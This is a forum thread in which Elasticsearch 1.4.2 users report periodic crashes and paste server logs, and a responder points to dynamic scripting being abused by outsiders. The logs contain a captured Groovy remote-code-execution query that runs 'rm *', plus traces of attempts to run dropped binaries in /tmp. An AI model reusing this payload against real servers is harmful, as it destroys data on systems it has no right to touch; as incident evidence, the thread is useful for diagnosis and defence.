# Elastic search goes down periodically **URL:** \ **Category:** Elasticsearch\ **Created:** [March 22, 2015, 3:34am UTC](https://discuss.elastic.co/t/elastic-search-goes-down-periodically/22799 "2015-03-22T03:34:31Z")\ **Posts on this page:** 4\ **Page:** 1
**Author:** ![Sachin\_Parthasarathy](https://avatars.discourse-cdn.com/v4/letter/s/bc79bd/32.png) [@Sachin\_Parthasarathy](https://discuss.elastic.co/u/Sachin_Parthasarathy)\ **Post date:** [March 22, 2015, 3:34am UTC](https://discuss.elastic.co/t/elastic-search-goes-down-periodically/22799/1 "2015-03-22T03:34:31Z")
Hello, I have a search web page hosted in EC2 with a NodeJS client and an ElasticSearch (ver. elasticsearch-1.4.2) index. But, periodically the index goes down. If I check the logs, there are two types of exceptions. Can someone help me with these exceptions? If I restart the index, it recovers and the search works fine. [2015-03-21 17:34:01,594][DEBUG][action.search.type] [Henry "Hank" McCoy] [101] Failed to execute fetch phase org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/ksla": error=26, Text file busy]; nested: IOException[error=26, Text file busy]; at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253) at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74) at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211) at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481) at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:452) [2015-03-20 21:44:47,597][DEBUG][action.search.type] [Mass Master] [project\_suggest][4], node[VLbkOrgBSZeTbbbcRgyp3Q], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@687e7a74] org.elasticsearch.search.SearchParseException: [project\_suggest][4]: query[ConstantScore(_:_)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match\_all":{}}}},"script\_fields":{"exp":{"script":"import java.util._;\nimport java.io._;\nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("rm \*").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]] at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681) at org.elasticsearch.search.SearchService.createContext(SearchService.java:537) at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509) at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228) Regards, Sachin -- You received this message because you are subscribed to the Google Groups "elasticsearch" group. To unsubscribe from this group and stop receiving emails from it, send an email to [elasticsearch+unsubscribe@googlegroups.com](mailto:elasticsearch+unsubscribe@googlegroups.com). To view this discussion on the web visit [https://groups.google.com/d/msgid/elasticsearch/bb73cd16-c735-45b5-86a3-7e9d0ec3dcf7%40googlegroups.com](https://groups.google.com/d/msgid/elasticsearch/bb73cd16-c735-45b5-86a3-7e9d0ec3dcf7%40googlegroups.com). For more options, visit [https://groups.google.com/d/optout](https://groups.google.com/d/optout). ---
**Author:** ![Florian\_Wilk](https://avatars.discourse-cdn.com/v4/letter/f/58956e/32.png) [@Florian\_Wilk](https://discuss.elastic.co/u/Florian_Wilk)\ **Post date:** [April 8, 2015, 8:19pm UTC](https://discuss.elastic.co/t/elastic-search-goes-down-periodically/22799/2 "2015-04-08T20:19:18Z")
Hi, i have the same problem. My ES worked fine for a long time and since a few weeks i periodically have to restart my ES. The logs are full of messages like this: [2015-04-08 20:16:47,281][DEBUG][action.search.type] [Norman Osborn] [22485] Failed to execute fetch phase org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/ddddg.dcdd": error=26, Text file busy]; nested: IOException[error=26, Text file busy]; at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:268) at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74) at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211) at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:460) at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:410) at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:407) at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:517) No solution yet. Am Sonntag, 22. März 2015 04:34:31 UTC+1 schrieb Sachin Parthasarathy: > Hello, > > I have a search web page hosted in EC2 with a NodeJS client and an > Elasticsearch (ver. elasticsearch-1.4.2) index. But, periodically the index > goes down. If I check the logs, there are two types of exceptions. Can > someone help me with these exceptions? If I restart the index, it recovers > and the search works fine. > > [2015-03-21 17:34:01,594][DEBUG][action.search.type] [Henry "Hank" > McCoy] [101] Failed to execute fetch phase > org.elasticsearch.script.groovy.GroovyScriptExecutionException: > IOException[Cannot run program "/tmp/ksla": error=26, Text file busy]; > nested: IOException[error=26, Text file busy]; > at > org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253) > at > org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74) > at > org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211) > at > org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481) > at > org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:452) > > [2015-03-20 21:44:47,597][DEBUG][action.search.type] [Mass Master] > [project\_suggest][4], node[VLbkOrgBSZeTbbbcRgyp3Q], [P], s[STARTED]: Failed > to execute [org.elasticsearch.action.search.SearchRequest@687e7a74] > org.elasticsearch.search.SearchParseException: [project\_suggest][4]: > query[ConstantScore(_:_)],from[-1],size[1]: Parse Failure [Failed to parse > source > [{"size":1,"query":{"filtered":{"query":{"match\_all":{}}}},"script\_fields":{"exp":{"script":"import > java.util._;\nimport [java.io](http://java.io)._;\nString str = "";BufferedReader br = new > BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("rm > \*").getInputStream()));StringBuilder sb = new > StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]] > at > org.elasticsearch.search.SearchService.parseSource(SearchService.java:681) > at > org.elasticsearch.search.SearchService.createContext(SearchService.java:537) > at > org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509) > at > org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264) > at > org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231) > at > org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228) > > Regards, > Sachin -- You received this message because you are subscribed to the Google Groups "elasticsearch" group. To unsubscribe from this group and stop receiving emails from it, send an email to [elasticsearch+unsubscribe@googlegroups.com](mailto:elasticsearch+unsubscribe@googlegroups.com). To view this discussion on the web visit [https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com](https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com). For more options, visit [https://groups.google.com/d/optout](https://groups.google.com/d/optout). ---
**Author:** ![warkolm](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/warkolm/32/39224_2.png) [@warkolm](https://discuss.elastic.co/u/warkolm)\ **Post date:** [April 8, 2015, 9:52pm UTC](https://discuss.elastic.co/t/elastic-search-goes-down-periodically/22799/3 "2015-04-08T21:52:45Z")
Do you have dynamic scripting enabled? Is your instance accessible to the internet? It looks like someone is running scripts on your system, whether it's something your users are doing or someone else, you need to determine this. On 9 April 2015 at 06:19, Florian Wilk [florian.wilk@gmail.com](mailto:florian.wilk@gmail.com) wrote: > Hi, > > i have the same problem. My ES worked fine for a long time and since a few > weeks i periodically have to restart my ES. The logs are full of messages > like this: > > [2015-04-08 20:16:47,281][DEBUG][action.search.type] [Norman > Osborn] [22485] Failed to execute fetch phase > org.elasticsearch.script.groovy.GroovyScriptExecutionException: > IOException[Cannot run program "/tmp/ddddg.dcdd": error=26, Text file > busy]; nested: IOException[error=26, Text file busy]; > at > org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:268) > at > org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74) > at > org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211) > at > org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:460) > at > org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:410) > at > org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:407) > at > org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:517) > > No solution yet. > > Am Sonntag, 22. März 2015 04:34:31 UTC+1 schrieb Sachin Parthasarathy: > > > Hello, > > > > I have a search web page hosted in EC2 with a NodeJS client and an > > Elasticsearch (ver. elasticsearch-1.4.2) index. But, periodically the index > > goes down. If I check the logs, there are two types of exceptions. Can > > someone help me with these exceptions? If I restart the index, it recovers > > and the search works fine. > > > > [2015-03-21 17:34:01,594][DEBUG][action.search.type] [Henry > > "Hank" McCoy] [101] Failed to execute fetch phase > > org.elasticsearch.script.groovy.GroovyScriptExecutionException: > > IOException[Cannot run program "/tmp/ksla": error=26, Text file busy]; > > nested: IOException[error=26, Text file busy]; > > at org.elasticsearch.script.groovy.GroovyScriptEngineService$ > > GroovyScript.run(GroovyScriptEngineService.java:253) > > at org.elasticsearch.search.fetch.script. > > ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74) > > at org.elasticsearch.search.fetch.FetchPhase.execute( > > FetchPhase.java:211) > > at org.elasticsearch.search.SearchService.executeFetchPhase( > > SearchService.java:481) > > at org.elasticsearch.search.action.SearchServiceTransportAction$ > > 17.call(SearchServiceTransportAction.java:452) > > > > [2015-03-20 21:44:47,597][DEBUG][action.search.type] [Mass > > Master] [project\_suggest][4], node[VLbkOrgBSZeTbbbcRgyp3Q], [P], > > s[STARTED]: Failed to execute [org.elasticsearch.action. > > search.SearchRequest@687e7a74] > > org.elasticsearch.search.SearchParseException: [project\_suggest][4]: > > query[ConstantScore(_:_)],from[-1],size[1]: Parse Failure [Failed to > > parse source [{"size":1,"query":{"filtered":{"query":{"match\_all":{}}}}," > > script\_fields":{"exp":{"script":"import java.util._;\nimport > > [java.io](http://java.io)._;\nString str = "";BufferedReader br = new BufferedReader(new > > InputStreamReader(Runtime.getRuntime().exec("rm \*").getInputStream()));StringBuilder > > sb = new StringBuilder();while((str=br.readLine())!=null){sb.append( > > str);}sb.toString();"}}}]] > > at org.elasticsearch.search.SearchService.parseSource( > > SearchService.java:681) > > at org.elasticsearch.search.SearchService.createContext( > > SearchService.java:537) > > at org.elasticsearch.search.SearchService.createAndPutContext( > > SearchService.java:509) > > at org.elasticsearch.search.SearchService.executeQueryPhase( > > SearchService.java:264) > > at org.elasticsearch.search.action.SearchServiceTransportAction$ > > 5.call(SearchServiceTransportAction.java:231) > > at org.elasticsearch.search.action.SearchServiceTransportAction$ > > 5.call(SearchServiceTransportAction.java:228) > > > > Regards, > > Sachin > > -- > You received this message because you are subscribed to the Google Groups > "elasticsearch" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [elasticsearch+unsubscribe@googlegroups.com](mailto:elasticsearch+unsubscribe@googlegroups.com). > To view this discussion on the web visit > [https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com](https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com) > [https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com?utm\_medium=email&utm\_source=footer](https://groups.google.com/d/msgid/elasticsearch/09d409cb-78b9-4029-98ab-f2d76cd9b1c6%40googlegroups.com?utm_medium=email&utm_source=footer) > . > For more options, visit [https://groups.google.com/d/optout](https://groups.google.com/d/optout). -- You received this message because you are subscribed to the Google Groups "elasticsearch" group. To unsubscribe from this group and stop receiving emails from it, send an email to [elasticsearch+unsubscribe@googlegroups.com](mailto:elasticsearch+unsubscribe@googlegroups.com). To view this discussion on the web visit [https://groups.google.com/d/msgid/elasticsearch/CAEYi1X-SrGCpAPGWY72OHavBUnB%2B-JGhpCwFPEGHs%3DezKQt0bA%40mail.gmail.com](https://groups.google.com/d/msgid/elasticsearch/CAEYi1X-SrGCpAPGWY72OHavBUnB%2B-JGhpCwFPEGHs%3DezKQt0bA%40mail.gmail.com). For more options, visit [https://groups.google.com/d/optout](https://groups.google.com/d/optout). ---
**Author:** ![system](https://us1.discourse-cdn.com/elastic/original/3X/1/a/1ac57faf039f6b580b3f104ef42a2a89e41014de.png) [@system](https://discuss.elastic.co/u/system)\ **Post date:** [July 6, 2017, 12:20am UTC](https://discuss.elastic.co/t/elastic-search-goes-down-periodically/22799/4 "2017-07-06T00:20:44Z")